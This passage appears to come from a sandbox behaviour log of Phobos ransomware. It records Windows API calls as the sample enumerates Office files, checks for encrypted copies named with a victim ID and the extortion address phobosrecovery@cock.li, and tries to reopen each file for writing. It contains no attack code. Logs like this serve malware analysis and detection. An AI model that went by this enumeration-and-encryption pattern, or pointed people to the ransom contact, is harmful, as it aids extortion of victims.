(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\frintl.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\frintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\frintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\frintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.425] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.427] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2043) returned 1 [0154.427] CloseHandle (hObject=0x488) returned 1 [0154.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vrd")) returned 0x220 [0154.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.427] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.429] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=330320) returned 1 [0154.429] CloseHandle (hObject=0x488) returned 1 [0154.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl")) returned 0x220 [0154.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.429] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.430] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=186880) returned 1 [0154.430] CloseHandle (hObject=0x488) returned 1 [0154.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra")) returned 0x220 [0154.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.430] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.431] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=609664) returned 1 [0154.431] CloseHandle (hObject=0x488) returned 1 [0154.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs")) returned 0x220 [0154.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.431] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.432] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=631) returned 1 [0154.432] CloseHandle (hObject=0x488) returned 1 [0154.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc")) returned 0x220 [0154.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.432] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.433] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=205) returned 1 [0154.433] CloseHandle (hObject=0x488) returned 1 [0154.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt")) returned 0x220 [0154.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.434] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.434] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.434] CloseHandle (hObject=0x488) returned 1 [0154.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk")) returned 0x220 [0154.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.435] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.435] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.435] CloseHandle (hObject=0x488) returned 1 [0154.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk")) returned 0x220 [0154.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.436] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.454] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=150624) returned 1 [0154.454] CloseHandle (hObject=0x488) returned 1 [0154.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grintl32.dll")) returned 0x220 [0154.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRINTL32.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grintl32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.456] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.458] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=818) returned 1 [0154.458] CloseHandle (hObject=0x488) returned 1 [0154.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd")) returned 0x220 [0154.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.458] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.472] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=46792) returned 1 [0154.472] CloseHandle (hObject=0x488) returned 1 [0154.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl")) returned 0x220 [0154.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.473] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\lyncDesktopResources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lyncdesktopresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.496] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=336552) returned 1 [0154.496] CloseHandle (hObject=0x58c) returned 1 [0154.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\lyncDesktopResources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lyncdesktopresources.dll")) returned 0x220 [0154.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\lyncDesktopResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lyncdesktopresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\lyncDesktopResources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lyncdesktopresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.497] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.526] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=138368) returned 1 [0154.526] CloseHandle (hObject=0x250) returned 1 [0154.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs")) returned 0x220 [0154.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.527] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.529] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=210) returned 1 [0154.529] CloseHandle (hObject=0x250) returned 1 [0154.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt")) returned 0x220 [0154.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.534] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.538] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=204) returned 1 [0154.538] CloseHandle (hObject=0x254) returned 1 [0154.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt")) returned 0x220 [0154.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.538] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.539] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.539] CloseHandle (hObject=0x254) returned 1 [0154.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk")) returned 0x220 [0154.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.540] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.547] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=141142) returned 1 [0154.547] CloseHandle (hObject=0x254) returned 1 [0154.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft 